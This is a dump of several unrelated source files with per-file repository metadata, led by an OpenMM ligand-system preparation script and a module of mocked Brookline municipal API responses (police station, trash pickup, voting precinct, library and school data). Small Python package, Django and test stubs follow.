integrator.step(nsteps_equil)
print('Saving RL GMX files...')
state = context.getState(getPositions=True, getVelocities=True, getEnergy=True, getForces=True)
parmed_system.setDefaultPeriodicBoxVectors(*state.getPeriodicBoxVectors())
parmed_system = parmed.openmm.load_topology(modeller.topology,
parmed_system, xyz=state.getPositions(asNumpy=True))
parmed_system.save(f'{RL_output_prefix}/conf.gro', overwrite=True)
parmed_system.save(f'{RL_output_prefix}/topol.top', overwrite=True)
if ligand_ndx <= openmm_write_cutoff:
with open(f'{RL_output_prefix}/integrator.xml', 'w') as f:
f.write(openmm.XmlSerializer.serialize(integrator))
with open(f'{RL_output_prefix}/state.xml','w') as f:
f.write(openmm.XmlSerializer.serialize(state))
with open(f'{RL_output_prefix}/system.xml','w') as f:
f.write(openmm.XmlSerializer.serialize(parmed_system))
def prepare_L_system():
L_complex_structure = ligand_structure
barostat = openmm.MonteCarloBarostat(pressure, temperature)
parmed_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04,
'nonbondedMethod': app.PME, 'constraints': False, 'rigidWater': False, 'hydrogenMass': 3.0*unit.amu}
parmed_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield],
barostat=barostat, forcefield_kwargs=parmed_forcefield_kwargs, molecules=[ligand],
small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json')
openmm_forcefield_kwargs = {'removeCMMotion': False, 'ewaldErrorTolerance': 5e-04,
'nonbondedMethod': app.PME, 'constraints': True, 'rigidWater': True, 'hydrogenMass': 3.0*unit.amu}
openmm_system_generator = SystemGenerator(forcefields=[protein_forcefield,solvation_forcefield],
barostat=barostat, forcefield_kwargs=openmm_forcefield_kwargs, molecules=[ligand],
small_molecule_forcefield=small_molecule_forcefield, cache=f'{L_output_prefix}/LIG{ligand_ndx}.json')
modeller = app.Modeller(L_complex_structure.topology, L_complex_structure.positions)
modeller.addSolvent(openmm_system_generator.forcefield, model='tip3p',
boxSize=box_size, ionicStrength=ionic_strength) # padding=solvent_padding for RL, boxSize=box_size for L
parmed_system = parmed_system_generator.create_system(modeller.topology)
openmm_system = openmm_system_generator.create_system(modeller.topology)
integrator = openmm.LangevinIntegrator(temperature, collision_rate, timestep)
# minimize and equilibrate
print('Minimizing...')
platform = openmm.Platform.getPlatformByName('CUDA')
platform.setPropertyDefaultValue('CudaDeviceIndex', sys.argv[3])
platform.setPropertyDefaultValue('Precision', 'mixed')
context = openmm.Context(openmm_system, integrator, platform)
context.setPositions(modeller.positions)
openmm.LocalEnergyMinimizer.minimize(context)
print('Equilibrating...')
integrator.step(nsteps_equil)
print('Saving GMX files...')
state = context.getState(getPositions=True, getVelocities=True, getEnergy=True, getForces=True)
openmm_system.setDefaultPeriodicBoxVectors(*state.getPeriodicBoxVectors())
parmed_system = parmed.openmm.load_topology(modeller.topology,
parmed_system, xyz=state.getPositions(asNumpy=True))
parmed_system.save(f'{L_output_prefix}/conf.gro', overwrite=True)
parmed_system.save(f'{L_output_prefix}/topol.top', overwrite=True)
if ligand_ndx <= openmm_write_cutoff:
with open(f'{L_output_prefix}/integrator.xml', 'w') as f:
f.write(openmm.XmlSerializer.serialize(integrator))
with open(f'{L_output_prefix}/state.xml','w') as f:
f.write(openmm.XmlSerializer.serialize(state))
with open(f'{L_output_prefix}/system.xml','w') as f:
f.write(openmm.XmlSerializer.serialize(parmed_system))
for ligand_ndx in range(int(sys.argv[1]),int(sys.argv[2])):
print(f'Processing RUN{ligand_ndx}...')
try:
L_output_prefix = f'RUN{ligand_ndx}'
ligand_file = f'{L_output_prefix}/LIG_h.sdf'
ligand_file_pdb = f'{L_output_prefix}/LIG_h.pdb'
ligand = Molecule.from_file(ligand_file)
ligand_structure = parmed.load_file(ligand_file_pdb)
except Exception as e:
for dir in [L_output_prefix]: #, RL_output_prefix]:
with open(f'{dir}/exception','w') as f:
f.write(f'Exception occured with LIG{ligand_ndx}: {e}')
continue
# prepare L system
if not os.path.exists(f'{L_output_prefix}/conf.gro'):
print(f'Processing L System for LIG{ligand_ndx}')
try: # catch bad ligands
prepare_L_system()
except Exception as e:
with open(f'{L_output_prefix}/exception','w') as f:
f.write(f'Exception occured with LIG{ligand_ndx}: {e}')
continue
| 48.951515
| 119
| 0.745821
| 971
| 8,077
| 5.991761
| 0.201854
| 0.043314
| 0.033517
| 0.031282
| 0.756446
| 0.756446
| 0.728085
| 0.728085
| 0.727054
| 0.727054
| 0
| 0.0104
| 0.142875
| 8,077
| 164
| 120
| 49.25
| 0.829987
| 0.051628
| 0
| 0.551181
| 0
| 0
| 0.169915
| 0.074559
| 0
| 0
| 0
| 0
| 0
| 1
| 0.015748
| false
| 0
| 0.062992
| 0
| 0.07874
| 0.062992
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
840c37d3cab0020111e986f5a506bcd9bfa39e6e
| 154
|
py
|
Python
|
lefi/__init__.py
|
blanketsucks/Lefi
|
3fe6af83e0be25ea953091aae62ba6076069f05e
|
[
"MIT"
] | null | null | null |
lefi/__init__.py
|
blanketsucks/Lefi
|
3fe6af83e0be25ea953091aae62ba6076069f05e
|
[
"MIT"
] | null | null | null |
lefi/__init__.py
|
blanketsucks/Lefi
|
3fe6af83e0be25ea953091aae62ba6076069f05e
|
[
"MIT"
] | null | null | null |
from .client import *
from .http import *
from .objects import *
from .state import *
from .utils import *
from .ws import *
__version__ = "0.2.3-alpha"
| 17.111111
| 27
| 0.701299
| 23
| 154
| 4.521739
| 0.565217
| 0.480769
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| 154
| 8
| 28
| 19.25
| 0.801587
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| 0
| 1
| 0
|
0
| 5
|
8440fd33ad02c465865067c08979594ac21226a9
| 156
|
py
|
Python
|
boa3_test/test_sc/class_test/UserClassWithInit.py
|
hal0x2328/neo3-boa
|
6825a3533384cb01660773050719402a9703065b
|
[
"Apache-2.0"
] | 25
|
2020-07-22T19:37:43.000Z
|
2022-03-08T03:23:55.000Z
|
boa3_test/test_sc/class_test/UserClassWithInit.py
|
hal0x2328/neo3-boa
|
6825a3533384cb01660773050719402a9703065b
|
[
"Apache-2.0"
] | 419
|
2020-04-23T17:48:14.000Z
|
2022-03-31T13:17:45.000Z
|
boa3_test/test_sc/class_test/UserClassWithInit.py
|
hal0x2328/neo3-boa
|
6825a3533384cb01660773050719402a9703065b
|
[
"Apache-2.0"
] | 15
|
2020-05-21T21:54:24.000Z
|
2021-11-18T06:17:24.000Z
|
from boa3.builtin import public
class Example:
def __init__(self):
pass
@public
def build_example_object() -> Example:
return Example()
| 13
| 38
| 0.685897
| 19
| 156
| 5.315789
| 0.736842
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| 156
| 11
| 39
| 14.181818
| 0.833333
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| 0.142857
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| 1
| 0
| 1
| 1
| 0
|
0
| 5
|
844496fc4e675c45ec526af07cd97c41f8866be1
| 91
|
py
|
Python
|
test/test_normalize.py
|
khelm/sparc-curation
|
3bb642aad493949cc167572d41a0308a74151657
|
[
"MIT"
] | 5
|
2019-03-21T06:06:13.000Z
|
2022-03-28T19:46:14.000Z
|
test/test_normalize.py
|
khelm/sparc-curation
|
3bb642aad493949cc167572d41a0308a74151657
|
[
"MIT"
] | 81
|
2019-05-06T06:38:52.000Z
|
2022-03-28T23:17:24.000Z
|
test/test_normalize.py
|
khelm/sparc-curation
|
3bb642aad493949cc167572d41a0308a74151657
|
[
"MIT"
] | 9
|
2019-06-24T21:36:10.000Z
|
2021-11-07T10:46:23.000Z
|
import unittest
class TestNorm(unittest.TestCase):
def test_award(self):
pass
| 15.166667
| 34
| 0.703297
| 11
| 91
| 5.727273
| 0.909091
| 0
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| 0
| 0
| 0
| 0.21978
| 91
| 5
| 35
| 18.2
| 0.887324
| 0
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| 0
| 1
| 0.25
| false
| 0.25
| 0.25
| 0
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| null | 0
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| null | 0
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| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 5
|
ffcb7b8f269f9e2b32112ad3e8ee5da952b58f84
| 140
|
py
|
Python
|
chat/__main__.py
|
vyahello/weather-chatbot
|
721229b106cdd35aee63ea690156b852c077e923
|
[
"Apache-2.0"
] | null | null | null |
chat/__main__.py
|
vyahello/weather-chatbot
|
721229b106cdd35aee63ea690156b852c077e923
|
[
"Apache-2.0"
] | null | null | null |
chat/__main__.py
|
vyahello/weather-chatbot
|
721229b106cdd35aee63ea690156b852c077e923
|
[
"Apache-2.0"
] | 2
|
2019-10-30T16:47:08.000Z
|
2020-01-01T18:45:46.000Z
|
from chat.server import server
def run_weather_chatbot() -> None:
server.run()
if __name__ == "__main__":
run_weather_chatbot()
| 14
| 34
| 0.7
| 18
| 140
| 4.777778
| 0.666667
| 0.232558
| 0.395349
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.185714
| 140
| 9
| 35
| 15.555556
| 0.754386
| 0
| 0
| 0
| 0
| 0
| 0.057143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.2
| true
| 0
| 0.2
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
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| 0
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| null | 0
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| 0
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| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
ffd107cea3ad5306930dd5ddfa345ae9b9ace0db
| 218
|
py
|
Python
|
quiz/admin.py
|
gamersdestiny/fuzzyquizgame
|
74fe0c398da9c793bc9aa5a34d98a0f36cb4e6cc
|
[
"MIT"
] | null | null | null |
quiz/admin.py
|
gamersdestiny/fuzzyquizgame
|
74fe0c398da9c793bc9aa5a34d98a0f36cb4e6cc
|
[
"MIT"
] | null | null | null |
quiz/admin.py
|
gamersdestiny/fuzzyquizgame
|
74fe0c398da9c793bc9aa5a34d98a0f36cb4e6cc
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from django.contrib.admin.decorators import register
from . import models
admin.site.register(models.Question)
admin.site.register(models.Category)
admin.site.register(models.Results)
| 27.25
| 52
| 0.834862
| 30
| 218
| 6.066667
| 0.4
| 0.148352
| 0.28022
| 0.379121
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.073395
| 218
| 8
| 53
| 27.25
| 0.90099
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
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| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
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| 1
| 0
| 0
| 0
| 0
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
080174390856aa826c792497eaf23fe7d3e039a0
| 96
|
py
|
Python
|
venv/lib/python3.8/site-packages/numpy/polynomial/tests/test_printing.py
|
Retraces/UkraineBot
|
3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71
|
[
"MIT"
] | 2
|
2022-03-13T01:58:52.000Z
|
2022-03-31T06:07:54.000Z
|
venv/lib/python3.8/site-packages/numpy/polynomial/tests/test_printing.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | 19
|
2021-11-20T04:09:18.000Z
|
2022-03-23T15:05:55.000Z
|
venv/lib/python3.8/site-packages/numpy/polynomial/tests/test_printing.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | null | null | null |
/home/runner/.cache/pip/pool/4f/17/b8/01cfcfe70d3b6af2ffd96afb9e217b53cc8f06a48b26480ca466b755ad
| 96
| 96
| 0.895833
| 9
| 96
| 9.555556
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.364583
| 0
| 96
| 1
| 96
| 96
| 0.53125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
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| null | 1
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
08197cfc6d04f18e88a125db8477eb9ecae50c21
| 74
|
py
|
Python
|
tools/masscan/__init__.py
|
Wolodija/aucote
|
bb21ff02965ed0cca5a55ee559eae77856d9866c
|
[
"Apache-2.0"
] | 1
|
2019-12-05T11:17:18.000Z
|
2019-12-05T11:17:18.000Z
|
tools/masscan/__init__.py
|
FCG-LLC/aucote
|
bb21ff02965ed0cca5a55ee559eae77856d9866c
|
[
"Apache-2.0"
] | 13
|
2019-12-05T10:34:41.000Z
|
2019-12-05T10:49:27.000Z
|
tools/masscan/__init__.py
|
Wolodija/aucote
|
bb21ff02965ed0cca5a55ee559eae77856d9866c
|
[
"Apache-2.0"
] | 4
|
2019-11-09T17:37:07.000Z
|
2019-12-16T09:50:02.000Z
|
"""
Provides Masscan related objects
"""
from .ports import MasscanPorts
| 12.333333
| 32
| 0.756757
| 8
| 74
| 7
| 1
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
| 0.148649
| 74
| 5
| 33
| 14.8
| 0.888889
| 0.432432
| 0
| 0
| 0
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| 0
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| 0
| true
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| null | 0
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| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
082489dcd854ce3f3e209727704049998a80fdbe
| 101
|
py
|
Python
|
rhobot/components/storage/__init__.py
|
rerobins/rhobot_framework
|
f97d1cedc929387f69448e41346a0d15fe202eef
|
[
"BSD-3-Clause"
] | null | null | null |
rhobot/components/storage/__init__.py
|
rerobins/rhobot_framework
|
f97d1cedc929387f69448e41346a0d15fe202eef
|
[
"BSD-3-Clause"
] | null | null | null |
rhobot/components/storage/__init__.py
|
rerobins/rhobot_framework
|
f97d1cedc929387f69448e41346a0d15fe202eef
|
[
"BSD-3-Clause"
] | null | null | null |
from rhobot.components.storage.payload import StoragePayload, ResultCollectionPayload, ResultPayload
| 50.5
| 100
| 0.891089
| 9
| 101
| 10
| 1
| 0
| 0
| 0
| 0
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| 0
| 0.059406
| 101
| 1
| 101
| 101
| 0.947368
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| 0
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| null | 0
| 0
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| 0
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| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
4b7e9a911579004d625cd127e518d95df546d3e6
| 38
|
py
|
Python
|
.brainfuck-tunnel/default-settings.py
|
irpekek/Brainfuck
|
f91c647b78b394d3de2b9bf5e08d1517c89f63e2
|
[
"MIT"
] | 1
|
2019-07-06T03:25:04.000Z
|
2019-07-06T03:25:04.000Z
|
.brainfuck-tunnel/default-settings.py
|
irpekek/Brainfuck
|
f91c647b78b394d3de2b9bf5e08d1517c89f63e2
|
[
"MIT"
] | null | null | null |
.brainfuck-tunnel/default-settings.py
|
irpekek/Brainfuck
|
f91c647b78b394d3de2b9bf5e08d1517c89f63e2
|
[
"MIT"
] | 3
|
2020-04-03T23:08:28.000Z
|
2021-11-23T04:53:50.000Z
|
import app
app.default_settings()
| 9.5
| 23
| 0.736842
| 5
| 38
| 5.4
| 0.8
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.184211
| 38
| 3
| 24
| 12.666667
| 0.870968
| 0
| 0
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| 0
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| true
| 0
| 0.5
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| null | 0
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| 0
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| 0
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| 0
| 0
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| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
4b8db5cd6dcbb5b9cf18d863c41208b1c9190b42
| 15,150
|
py
|
Python
|
brooklinevoiceapp/mycity/test/test_constants.py
|
codeforboston/BrooklineVoiceApp
|
31761249174ad4c74cf3df2dc1bc78dd8b1c6e09
|
[
"MIT"
] | 3
|
2019-04-07T14:13:44.000Z
|
2020-06-22T05:11:22.000Z
|
brooklinevoiceapp/mycity/test/test_constants.py
|
codeforboston/BrooklineVoiceApp
|
31761249174ad4c74cf3df2dc1bc78dd8b1c6e09
|
[
"MIT"
] | 35
|
2018-12-12T01:11:23.000Z
|
2020-05-13T02:05:42.000Z
|
brooklinevoiceapp/mycity/test/test_constants.py
|
codeforboston/BrooklineVoiceApp
|
31761249174ad4c74cf3df2dc1bc78dd8b1c6e09
|
[
"MIT"
] | 9
|
2018-11-18T21:58:19.000Z
|
2020-04-22T00:42:13.000Z
|
##################################################################
# Mocked returns for patched functions that access web resources #
##################################################################
GET_POLICE_STATION_API_MOCK = {
"displayFieldName": "NAME",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"FACILITYID": "Facility Identifier",
"NAME": "Name of Facility",
"OWNER": "Owner Name",
"OWNTYPE": "Owner Type",
"SUBTYPEFIELD": "Subtype Field",
"FEATURECODE": "Feature Code",
"FULLADDR": "Full Address",
"AGENCYURL": "Website",
"OPERDAYS": "Operational Days",
"OPERHOURS": "Operational Hours",
"CONTACT": "Contact Name",
"PHONE": "Phone",
"EMAIL": "Email"
},
"features": [
{
"attributes": {
"OBJECTID": 1,
"FACILITYID": None,
"NAME": "Brookline Public Safety HQ",
"OWNER": "Town of Brookline",
"OWNTYPE": None,
"SUBTYPEFIELD": None,
"FEATURECODE": None,
"FULLADDR": "350 Washington St, Brookline, MA 02445",
"AGENCYURL": "http://www.brooklinepolice.com/",
"OPERDAYS": "Other",
"OPERHOURS": "Other",
"CONTACT": None,
"PHONE": "617-730-2222",
"EMAIL": None
},
"geometry": {
"x": -71.121409303637222,
"y": 42.333789044263746
}
}
]
}
NO_RESULTS_GET_POLICE_STATION_API_MOCK = {
"displayFieldName": "NAME",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"FACILITYID": "Facility Identifier",
"NAME": "Name of Facility",
"OWNER": "Owner Name",
"OWNTYPE": "Owner Type",
"SUBTYPEFIELD": "Subtype Field",
"FEATURECODE": "Feature Code",
"FULLADDR": "Full Address",
"AGENCYURL": "Website",
"OPERDAYS": "Operational Days",
"OPERHOURS": "Operational Hours",
"CONTACT": "Contact Name",
"PHONE": "Phone",
"EMAIL": "Email"
},
"features": []
}
GEOCODE_MOCK = {
"spatialReference": {
"wkid": 4326,
"latestWkid": 4326
},
"x": -71.120614336337198,
"y": 42.334020535512529,
"z": 0
}
LOCATION_MOCK = {
"x": -71.120614336337198,
"y": 42.334020535512529,
"z": 0
}
SPACIAL_REFERENCE_MOCK = {
"wkid": 4326,
"latestWkid": 4326
}
ADDRESS_CANDIDATE_MOCK = {
"address": "333 WASHINGTON ST",
"location": {
"x": -71.120614336337198,
"y": 42.334020535512529,
"z": 0
},
"score": 100,
"attributes": {
"Loc_name": "Building",
"Score": 100,
"Match_addr": "333 WASHINGTON ST"
}
}
GET_ADDRESS_CANDIDATES_API_MOCK = {
"spatialReference": {
"wkid": 4326,
"latestWkid": 4326
},
"candidates": [
{
"address": "333 WASHINGTON ST",
"location": {
"x": -71.120614336337198,
"y": 42.334020535512529,
"z": 0
},
"score": 100,
"attributes": {
"Loc_name": "Building",
"Score": 100,
"Match_addr": "333 WASHINGTON ST"
}
}
]
}
GEOCODE_ADDRESS_MOCK = {
'geometry':{'x':-7917110.640673582,'y':5211147.471469648}}
GET_TRASH_PICKUP_API_MOCK = {
"displayFieldName": "DISTRICTID",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"DISTRICTID": "District ID",
"NAME": "District Name",
"AGENCY": "Agency",
"AGENCYURL": "Website",
"CONTACT": "Contact Name",
"PHONE": "Phone",
"EMAIL": "Email",
"SUBTYPEFIELD": "Subtype Field",
"SCHEDULE": "Schedule",
"DESCRIPT": "Additional Information",
"MONDAY": "Monday",
"TUESDAY": "Tuesday",
"WEDNESDAY": "Wednesday",
"THURSDAY": "Thursday",
"FRIDAY": "Friday",
"SATURDAY": "Saturday",
"SUNDAY": "Sunday",
"GlobalID": "GlobalID"
},
"features": [
{
"attributes": {
"OBJECTID": 2,
"DISTRICTID": "1",
"NAME": "Wednesday Trash",
"AGENCY": "Town of Brookline",
"AGENCYURL": "http://ma-brookline.civicplus.com/820/Trash-Recycling-Information",
"CONTACT": "Brookline Public Works",
"PHONE": "null",
"EMAIL": "null",
"SUBTYPEFIELD": 0,
"SCHEDULE": "Weekly",
"DESCRIPT": "http://ma-brookline.civicplus.com/834/Holiday-Schedule-Christmas-Tree-Pick-Up",
"MONDAY": "No",
"TUESDAY": "No",
"WEDNESDAY": "Yes",
"THURSDAY": "No",
"FRIDAY": "No",
"SATURDAY": "No",
"SUNDAY": "No",
"GlobalID": "{20538BBF-EB83-4CCD-B1E8-93EF36554413}"
},
"geometry": {
"x": -71.121409303637222,
"y": 42.333789044263746
}
}
]
}
NO_RESPONSE_TRASH_PICKUP_API_MOCK = {
"displayFieldName": "DISTRICTID",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"DISTRICTID": "District ID",
"NAME": "District Name",
"AGENCY": "Agency",
"AGENCYURL": "Website",
"CONTACT": "Contact Name",
"PHONE": "Phone",
"EMAIL": "Email",
"SUBTYPEFIELD": "Subtype Field",
"SCHEDULE": "Schedule",
"DESCRIPT": "Additional Information",
"MONDAY": "Monday",
"TUESDAY": "Tuesday",
"WEDNESDAY": "Wednesday",
"THURSDAY": "Thursday",
"FRIDAY": "Friday",
"SATURDAY": "Saturday",
"SUNDAY": "Sunday",
"GlobalID": "GlobalID"
},
"features": []
}
NO_RESPONSE_VOTING_PRECINCT_API_MOCK = {
"displayFieldName": "NAME",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"PRECINCTID": "Precinct ID",
"NAME": "Precinct Name",
"COUNTY": "County",
"LASTUPDATE": "Last Update Date",
"LASTEDITOR": "Last Editor",
"SHAPE_Length": "SHAPE_Length",
"SHAPE_Area": "SHAPE_Area",
"STR_NUM": "STR_NUM",
"STREET": "STREET",
"ADDRESS": "ADDRESS",
"LOC_DESC": "LOC_DESC"
},
"geometryType": "esriGeometryPolygon",
"spatialReference": {
"wkid": 102100,
"latestWkid": 3857
},
"fields": [
{
"name": "OBJECTID",
"type": "esriFieldTypeOID",
"alias": "OBJECTID"
},
{
"name": "PRECINCTID",
"type": "esriFieldTypeString",
"alias": "Precinct ID",
"length": 10
},
{
"name": "NAME",
"type": "esriFieldTypeString",
"alias": "Precinct Name",
"length": 50
},
{
"name": "COUNTY",
"type": "esriFieldTypeString",
"alias": "County",
"length": 50
},
{
"name": "LASTUPDATE",
"type": "esriFieldTypeDate",
"alias": "Last Update Date",
"length": 8
},
{
"name": "LASTEDITOR",
"type": "esriFieldTypeString",
"alias": "Last Editor",
"length": 50
},
{
"name": "SHAPE_Length",
"type": "esriFieldTypeDouble",
"alias": "SHAPE_Length"
},
{
"name": "SHAPE_Area",
"type": "esriFieldTypeDouble",
"alias": "SHAPE_Area"
},
{
"name": "STR_NUM",
"type": "esriFieldTypeString",
"alias": "STR_NUM",
"length": 8
},
{
"name": "STREET",
"type": "esriFieldTypeString",
"alias": "STREET",
"length": 32
},
{
"name": "ADDRESS",
"type": "esriFieldTypeString",
"alias": "ADDRESS",
"length": 64
},
{
"name": "LOC_DESC",
"type": "esriFieldTypeString",
"alias": "LOC_DESC",
"length": 128
}
],
"features": [
]
}
GET_VOTING_PRECINCT_API_MOCK = {
"displayFieldName": "NAME",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"PRECINCTID": "Precinct ID",
"NAME": "Precinct Name",
"COUNTY": "County",
"LASTUPDATE": "Last Update Date",
"LASTEDITOR": "Last Editor",
"SHAPE_Length": "SHAPE_Length",
"SHAPE_Area": "SHAPE_Area",
"STR_NUM": "STR_NUM",
"STREET": "STREET",
"ADDRESS": "ADDRESS",
"LOC_DESC": "LOC_DESC"
},
"geometryType": "esriGeometryPolygon",
"spatialReference": {
"wkid": 102100,
"latestWkid": 3857
},
"fields": [
{
"name": "OBJECTID",
"type": "esriFieldTypeOID",
"alias": "OBJECTID"
},
{
"name": "PRECINCTID",
"type": "esriFieldTypeString",
"alias": "Precinct ID",
"length": 10
},
{
"name": "NAME",
"type": "esriFieldTypeString",
"alias": "Precinct Name",
"length": 50
},
{
"name": "COUNTY",
"type": "esriFieldTypeString",
"alias": "County",
"length": 50
},
{
"name": "LASTUPDATE",
"type": "esriFieldTypeDate",
"alias": "Last Update Date",
"length": 8
},
{
"name": "LASTEDITOR",
"type": "esriFieldTypeString",
"alias": "Last Editor",
"length": 50
},
{
"name": "SHAPE_Length",
"type": "esriFieldTypeDouble",
"alias": "SHAPE_Length"
},
{
"name": "SHAPE_Area",
"type": "esriFieldTypeDouble",
"alias": "SHAPE_Area"
},
{
"name": "STR_NUM",
"type": "esriFieldTypeString",
"alias": "STR_NUM",
"length": 8
},
{
"name": "STREET",
"type": "esriFieldTypeString",
"alias": "STREET",
"length": 32
},
{
"name": "ADDRESS",
"type": "esriFieldTypeString",
"alias": "ADDRESS",
"length": 64
},
{
"name": "LOC_DESC",
"type": "esriFieldTypeString",
"alias": "LOC_DESC",
"length": 128
}
],
"features": [
{
"attributes": {
"OBJECTID": 19,
"PRECINCTID": "6",
"NAME": "Precinct 6 - Vote at 115 Greenough St",
"COUNTY": "Norfolk",
"LASTUPDATE": 'null',
"LASTEDITOR": 'null',
"SHAPE_Length": 15810.092868688193,
"SHAPE_Area": 7070142.9764727177,
"STR_NUM": "115",
"STREET": "GREENOUGH ST",
"ADDRESS": "115 GREENOUGH ST",
"LOC_DESC": "BHS Schluntz Gymnasium, 115 Greenough Street"
},
}
]
}
GET_LIBRARY_API_MOCK = {
"features": [
{
"attributes": {
"OBJECTID": 1,
"FACILITYID": "None",
"NAME": "Coolidge Corner Library",
"OWNER": "Town of Brookline",
"OWNTYPE": "None",
"SUBTYPEFIELD": "None",
"FEATURECODE": "None",
"FULLADDR": "31 Pleasant St, Brookline, MA 02446",
"AGENCYURL": "http://www.brooklinelibrary.org/",
"OPERDAYS": "Other",
"OPERHOURS": "Other",
"CONTACT": "None",
"PHONE": "617-730-2380",
"EMAIL": "http://www.brooklinelibrary.org/about/email"
},
"geometry": {
"x": -7916949.550832789,
"y": 5212579.537906414
}
},
{
"attributes": {
"OBJECTID": 2,
"FACILITYID": "None",
"NAME": "Main Library",
"OWNER": "Town of Brookline",
"OWNTYPE": "None",
"SUBTYPEFIELD": "None",
"FEATURECODE": "None",
"FULLADDR": "361 Washington St, Brookline, MA 02445",
"AGENCYURL": "http://www.brooklinelibrary.org/",
"OPERDAYS": "Other",
"OPERHOURS": "Other",
"CONTACT": "None",
"PHONE": "617-730-2370",
"EMAIL": "http://www.brooklinelibrary.org/about/email"
},
"geometry": {
"x": -7917194.260973867,
"y": 5211229.5272506215
}
},
{
"attributes": {
"OBJECTID": 3,
"FACILITYID": "None",
"NAME": "Putterham Branch Library",
"OWNER": "Town of Brookline",
"OWNTYPE": "None",
"SUBTYPEFIELD": "None",
"FEATURECODE": "None",
"FULLADDR": "959 W Roxbury Pky, Brookline, MA 02467",
"AGENCYURL": "http://www.brooklinelibrary.org/",
"OPERDAYS": "Other",
"OPERHOURS": "Other",
"CONTACT": "None",
"PHONE": "617-730-2385",
"EMAIL": "http://www.brooklinelibrary.org/about/email"
},
"geometry": {
"x": -7920391.679580264,
"y": 5206399.414108847
}
}
]
}
GET_SCHOOL_DISTRICT_API_MOCK = {
"displayFieldName": "NAME",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"NAME": "School Name",
"DISTRCTNAME": "School District Name",
"SCHOOLAREA": "Area in Square Miles",
"LASTUPDATE": "Last Update Date",
"LASTEDITOR": "Last Editor"
},
"features": [
{
"attributes": {
"OBJECTID": 1,
"NAME": "Brookline School",
"DISTRCTNAME": "Brookline",
"SCHOOLAREA": "1",
"LASTUPDATE": None,
"LASTEDITOR": None
},
"geometry": {
"rings": [[[-7920615.96685251,5205180.75934551]]]
}
}
]
}
NO_RESULTS_GET_SCHOOL_DISTRICT_API_MOCK = {
"displayFieldName": "NAME",
"fieldAliases": {
"OBJECTID": "OBJECTID",
"NAME": "School Name",
"DISTRCTNAME": "School District Name",
"SCHOOLAREA": "Area in Square Miles",
"LASTUPDATE": "Last Update Date",
"LASTEDITOR": "Last Editor"
},
"features": []
}
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0
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29a475c02f44b4990bc65edb086473e28a59734b
| 135
|
py
|
Python
|
tmscc/conf.py
|
tarohi24/tmscc
|
5e0f30fd009fe827ac2263f369c099a5bbc91a48
|
[
"MIT"
] | null | null | null |
tmscc/conf.py
|
tarohi24/tmscc
|
5e0f30fd009fe827ac2263f369c099a5bbc91a48
|
[
"MIT"
] | 2
|
2018-03-20T06:21:35.000Z
|
2019-10-03T02:26:25.000Z
|
tmscc/conf.py
|
tarohi24/tmscc
|
5e0f30fd009fe827ac2263f369c099a5bbc91a48
|
[
"MIT"
] | null | null | null |
"""Main module."""
from pathlib import Path
PROJECT_ROOT = Path('../').resolve()
JARFILE_PATH = PROJECT_ROOT.joinpath('genePAM.jar')
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0
| 5
|
29d000fda622bebc34f27598ee1460fd46314d97
| 4,353
|
py
|
Python
|
tests/metrics/test_ndcg.py
|
rootsdev/nama
|
1210a24e8ee7689619e800653bd11341d667462d
|
[
"MIT"
] | null | null | null |
tests/metrics/test_ndcg.py
|
rootsdev/nama
|
1210a24e8ee7689619e800653bd11341d667462d
|
[
"MIT"
] | 8
|
2021-10-16T19:24:20.000Z
|
2021-11-25T02:28:32.000Z
|
tests/metrics/test_ndcg.py
|
rootsdev/nama
|
1210a24e8ee7689619e800653bd11341d667462d
|
[
"MIT"
] | null | null | null |
import pytest
import numpy as np
from src.eval import metrics
